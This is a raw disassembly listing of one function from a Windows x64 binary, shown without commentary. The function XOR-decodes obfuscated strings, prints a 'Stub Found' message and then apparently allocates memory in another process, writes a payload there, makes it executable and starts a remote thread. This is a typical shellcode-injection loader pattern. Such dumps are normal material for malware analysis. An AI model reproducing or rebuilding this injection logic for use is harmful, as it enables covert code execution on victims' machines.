lea rax, [rbp + 0x27e0]
lea rdx, [rbp + 0x2800]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x27c0]
lea rdx, [rbp + 0x27e0]
lea r8, [0x00529460]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x27a0]
lea rdx, [rbp + 0x27c0]
lea r8, [0x0052944e]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2780]
lea rdx, [rbp + 0x27a0]
lea r8, [0x00529458]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2760]
lea rdx, [rbp + 0x2780]
lea r8, [0x00529448]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2740]
lea rdx, [rbp + 0x2760]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2720]
lea rdx, [rbp + 0x2740]
lea r8, [0x00529400]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2700]
lea rdx, [rbp + 0x2720]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x26e0]
lea rdx, [rbp + 0x2700]
lea r8, [0x00529408]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x26c0]
lea rdx, [rbp + 0x26e0]
lea r8, [0x005293fe]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x26a0]
lea rdx, [rbp + 0x26c0]
lea r8, [0x0052944a]
mov rcx, rax
call fcn.004b5cd0
lea rdx, [rbp + 0x26a0]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004a6380
lea rax, [rbp + 0x26a0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x26c0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x26e0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2700]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2720]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2740]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2760]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2780]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x27a0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x27c0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x27e0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2800]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2820]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2840]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2860]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2880]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x28a0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x28c0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x28ef]
mov rcx, rax
call fcn.0046dde0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x28f0]
mov rcx, rax
call fcn.004a5880
mov r9, qword [rbp + 0x2cc0]
mov r8, qword [rbp + 0x2ce0]
mov rdx, qword [rbp + 0x2cb8]
lea rax, [rbp + 0x28f0]
mov rcx, qword [rbp + 0x2cf8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d90]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x2cb4], eax
lea rax, [rbp + 0x28f0]
mov rcx, rax
call fcn.004a6340
cmp dword [rbp + 0x2cb4], 0
je 0x407ff8
lea rsi, [0x00529414]
jmp 0x407fff
lea rsi, [0x00529419]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00430da0
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
call fcn.004017e5
test eax, eax
setne al
test al, al
je 0x408088
lea rax, [rbp + 0x2920]
lea rdx, [rbp + 0x291f]
mov rcx, rax
call fcn.004020ee
mov rax, qword [rbp + 0x2920]
mov rdx, qword [rbp + 0x2928]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x2930]
mov rdx, qword [rbp + 0x2938]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
lea rax, [rbp + 0x10]
mov rcx, rax
call fcn.00420420
mov ebx, 0
mov esi, 0
jmp 0x408a3c
lea rax, [rbp + 0x2950]
lea rdx, [rbp + 0x294f]
mov rcx, rax
call fcn.00402200
mov rax, qword [rbp + 0x2950]
mov rdx, qword [rbp + 0x2958]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
mov eax, dword [rbp + 0x2960]
mov dword [rbp + 0x20], eax
movzx eax, word [rbp + 0x2964]
mov word [rbp + 0x24], ax
lea rax, [rbp + 0x10]
mov rcx, rax
call fcn.00420260
lea rcx, [0x004ba020]
call fcn.00401f5d
mov dword [rbp + 0x2cb0], 0xffffffff
cmp dword [rbp + 0x2cb0], 0
jne 0x4080ff
lea rcx, [0x00529462]
call fcn.00401540
lea rax, [rbp + 0x2973]
lea rdx, [rbp + 0x2980]
mov rcx, rax
call fcn.004022c2
lea rax, [rbp + 0x2973]
mov qword [rbp + 0x2c90], rax
mov rax, qword [rbp + 0x2c90]
mov qword [rbp + 0x2c88], rax
mov rax, qword [rbp + 0x2c88]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x4081dd
mov rax, qword [rbp + 0x2c90]
mov rdx, qword [rbp + 0x2c90]
mov qword [rbp + 0x2c80], rdx
mov qword [rbp + 0x2c78], rax
mov dword [rbp + 0x2c74], 0
cmp dword [rbp + 0x2c74], 0xc
jg 0x4081dc
mov eax, dword [rbp + 0x2c74]
movsxd rdx, eax
mov rax, qword [rbp + 0x2c78]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x2c74]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x38
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x32
xor ecx, eax
mov rdx, qword [rbp + 0x2c80]
mov eax, dword [rbp + 0x2c74]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2c74], 1
jmp 0x40816f
nop
lea rax, [rbp + 0x2973]
mov rcx, rax
call fcn.00401a49
mov qword [rbp + 0x2ca8], rax
cmp qword [rbp + 0x2ca8], 0xffffffffffffffff
jne 0x40820c
mov ebx, 0
mov esi, 0
jmp 0x408a3c
lea rax, [rbp + 0x2981]
lea rdx, [rbp + 0x298e]
mov rcx, rax
call fcn.0040233c
lea rax, [rbp + 0x2981]
mov qword [rbp + 0x2c68], rax
mov rax, qword [rbp + 0x2c68]
mov qword [rbp + 0x2c60], rax
mov rax, qword [rbp + 0x2c60]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x4082ea
mov rax, qword [rbp + 0x2c68]
mov rdx, qword [rbp + 0x2c68]
mov qword [rbp + 0x2c58], rdx
mov qword [rbp + 0x2c50], rax
mov dword [rbp + 0x2c4c], 0
cmp dword [rbp + 0x2c4c], 0xc
jg 0x4082e9
mov eax, dword [rbp + 0x2c4c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2c50]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x2c4c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x38
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x32
xor ecx, eax
mov rdx, qword [rbp + 0x2c58]
mov eax, dword [rbp + 0x2c4c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2c4c], 1
jmp 0x40827c
nop
lea rdx, [rbp + 0x2981]
lea rax, [rbp + 0x30]
mov rcx, qword [rbp + 0x2ca8]
mov r8, rcx
mov rcx, rax
call fcn.00401bfa
mov rax, qword [rbp + 0x30]
cmp rax, 0xffffffffffffffff
je 0x40831b
mov rax, qword [rbp + 0x38]
cmp rax, 0xffffffffffffffff
jne 0x40832a
mov ebx, 0
mov esi, 0
jmp 0x408a3c
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x2ca0], rax
mov rax, qword [rbp + 0x38]
mov qword [rbp + 0x2c98], rax
mov r10, qword [0x00555048]
lea rcx, [rbp + 0xa0]
lea rdx, [rbp + 0xb0]
mov rax, qword [rbp + 0x2ca0]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
mov r9, rcx
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x2cb0], eax
cmp dword [rbp + 0x2cb0], 0
je 0x408433
lea rax, [rbp + 0x2990]
lea rdx, [rbp + 0x298f]
mov rcx, rax
call fcn.004023b6
mov rax, qword [rbp + 0x2990]
mov rdx, qword [rbp + 0x2998]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x29a0]
mov rdx, qword [rbp + 0x29a8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x29b0]
mov rdx, qword [rbp + 0x29b8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x29c0]
mov rdx, qword [rbp + 0x29c8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x29d0]
mov rdx, qword [rbp + 0x29d8]
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov edx, dword [rbp + 0x2cb0]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.00420a70
mov ebx, 0
mov esi, 0
jmp 0x408a3c
lea rax, [rbp + 0x29f0]
lea rdx, [rbp + 0x29ef]
mov rcx, rax
call fcn.00402648
mov rax, qword [rbp + 0x29f0]
mov rdx, qword [rbp + 0x29f8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2a00]
mov rdx, qword [rbp + 0x2a08]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2a10]
mov rdx, qword [rbp + 0x2a18]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2a20]
mov rdx, qword [rbp + 0x2a28]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2a30]
mov qword [rbp], rax
mov eax, dword [rbp + 0x2a38]
mov dword [rbp + 8], eax
movzx eax, byte [rbp + 0x2a3c]
mov byte [rbp + 0xc], al
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.00420990
mov r10, qword [0x00555050]
mov r9, qword [0x00525820]
mov r8, qword [0x00555040]
mov rdx, qword [rbp + 0xb0]
mov rax, qword [rbp + 0x2ca0]
lea rcx, [rbp + 0xa8]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call r10
mov dword [rbp + 0x2cb0], eax
cmp dword [rbp + 0x2cb0], 0
je 0x4085c2
lea rax, [rbp + 0x2a40]
lea rdx, [rbp + 0x2a3f]
mov rcx, rax
call fcn.004028c2
mov rax, qword [rbp + 0x2a40]
mov rdx, qword [rbp + 0x2a48]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2a50]
mov rdx, qword [rbp + 0x2a58]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2a60]
mov rdx, qword [rbp + 0x2a68]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2a70]
mov rdx, qword [rbp + 0x2a78]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2a80]
mov qword [rbp], rax
movzx eax, word [rbp + 0x2a88]
mov word [rbp + 8], ax
movzx eax, byte [rbp + 0x2a8a]
mov byte [rbp + 0xa], al
mov edx, dword [rbp + 0x2cb0]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.004208a0
mov ebx, 0
mov esi, 0
jmp 0x408a3c
lea rax, [rbp + 0x2a90]
lea rdx, [rbp + 0x2a8f]
mov rcx, rax
call fcn.00402b2c
mov rax, qword [rbp + 0x2a90]
mov rdx, qword [rbp + 0x2a98]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2aa0]
mov rdx, qword [rbp + 0x2aa8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2ab0]
mov rdx, qword [rbp + 0x2ab8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2ac0]
mov rdx, qword [rbp + 0x2ac8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2ad0]
mov qword [rbp], rax
mov eax, dword [rbp + 0x2ad8]
mov dword [rbp + 8], eax
movzx eax, byte [rbp + 0x2adc]
mov byte [rbp + 0xc], al
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.00420990
mov r10, qword [0x00555058]
lea rdx, [rbp + 0xb0]
mov rax, qword [rbp + 0x2ca0]
lea rcx, [rbp + 0xbc]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
lea r8, [0x00525820]
mov rcx, rax
call r10
mov dword [rbp + 0x2cb0], eax
cmp dword [rbp + 0x2cb0], 0
je 0x40872e
lea rax, [rbp + 0x2ae0]
lea rdx, [rbp + 0x2adf]
mov rcx, rax
call fcn.00402da6
mov rax, qword [rbp + 0x2ae0]
mov rdx, qword [rbp + 0x2ae8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2af0]
mov rdx, qword [rbp + 0x2af8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2b00]
mov rdx, qword [rbp + 0x2b08]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov eax, dword [rbp + 0x2b10]
mov dword [rbp - 0x10], eax
movzx eax, word [rbp + 0x2b14]
mov word [rbp - 0xc], ax
mov edx, dword [rbp + 0x2cb0]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.004206d0
mov ebx, 0
mov esi, 0
jmp 0x408a3c
lea rax, [rbp + 0x2b20]
lea rdx, [rbp + 0x2b1f]
mov rcx, rax
call fcn.00402f68
mov rax, qword [rbp + 0x2b20]
mov rdx, qword [rbp + 0x2b28]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2b30]
mov rdx, qword [rbp + 0x2b38]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2b40]
mov rdx, qword [rbp + 0x2b48]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2b50]
mov qword [rbp - 0x10], rax
movzx eax, word [rbp + 0x2b58]
mov word [rbp - 8], ax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.004207c0
mov r10, qword [0x00555098]
mov rax, qword [rbp + 0xb0]
mov rdx, rax
mov rax, qword [rbp + 0x2c98]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x2cb0], eax
cmp dword [rbp + 0x2cb0], 0
je 0x40887b
lea rax, [rbp + 0x2b60]
lea rdx, [rbp + 0x2b5f]
mov rcx, rax
call fcn.0040314a
mov rax, qword [rbp + 0x2b60]
mov rdx, qword [rbp + 0x2b68]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2b70]
mov rdx, qword [rbp + 0x2b78]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2b80]
mov rdx, qword [rbp + 0x2b88]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov eax, dword [rbp + 0x2b90]
mov dword [rbp - 0x10], eax
movzx eax, word [rbp + 0x2b94]
mov word [rbp - 0xc], ax
mov edx, dword [rbp + 0x2cb0]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.004206d0
mov ebx, 0
mov esi, 0
jmp 0x408a3c
lea rax, [rbp + 0x2ba0]
lea rdx, [rbp + 0x2b9f]
mov rcx, rax
call fcn.0040330c
mov rax, qword [rbp + 0x2ba0]
mov rdx, qword [rbp + 0x2ba8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2bb0]
mov rdx, qword [rbp + 0x2bb8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2bc0]
mov rdx, qword [rbp + 0x2bc8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2bd0]
mov qword [rbp - 0x10], rax
movzx eax, word [rbp + 0x2bd8]
mov word [rbp - 8], ax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.004207c0
mov r8, qword [0x005550a0]
mov rax, qword [rbp + 0x2c98]
mov edx, 0
mov rcx, rax
call r8
mov dword [rbp + 0x2cb0], eax
cmp dword [rbp + 0x2cb0], 0
je 0x4089a3
lea rax, [rbp + 0x2be0]
lea rdx, [rbp + 0x2bdf]
mov rcx, rax
call fcn.004034ee
mov rax, qword [rbp + 0x2be0]
mov rdx, qword [rbp + 0x2be8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2bf0]
mov rdx, qword [rbp + 0x2bf8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2c00]
mov qword [rbp - 0x20], rax
mov eax, dword [rbp + 0x2c08]
mov dword [rbp - 0x18], eax
movzx eax, word [rbp + 0x2c0c]
mov word [rbp - 0x14], ax
mov edx, dword [rbp + 0x2cb0]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.00420500
mov ebx, 0
mov esi, 0
jmp 0x408a3c
lea rax, [rbp + 0x2c10]
lea rdx, [rbp + 0x2c0f]
mov rcx, rax
call fcn.00403670
mov rax, qword [rbp + 0x2c10]
mov rdx, qword [rbp + 0x2c18]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2c20]
mov rdx, qword [rbp + 0x2c28]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2c30]
mov rdx, qword [rbp + 0x2c38]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movzx eax, byte [rbp + 0x2c40]
mov byte [rbp - 0x10], al
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.004205f0
mov rdx, qword [0x00555088]
mov rax, qword [rbp + 0x2ca0]
mov rcx, rax
call rdx
mov rdx, qword [0x00555088]
mov rax, qword [rbp + 0x2c98]
mov rcx, rax
call rdx
mov esi, 1
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004a6340
cmp esi, 1
jne 0x408a52
mov ebx, 0
mov eax, ebx
jmp 0x40a1f1
add rsp, 0x2e20
pop rbx
pop rsi
pop rbp
ret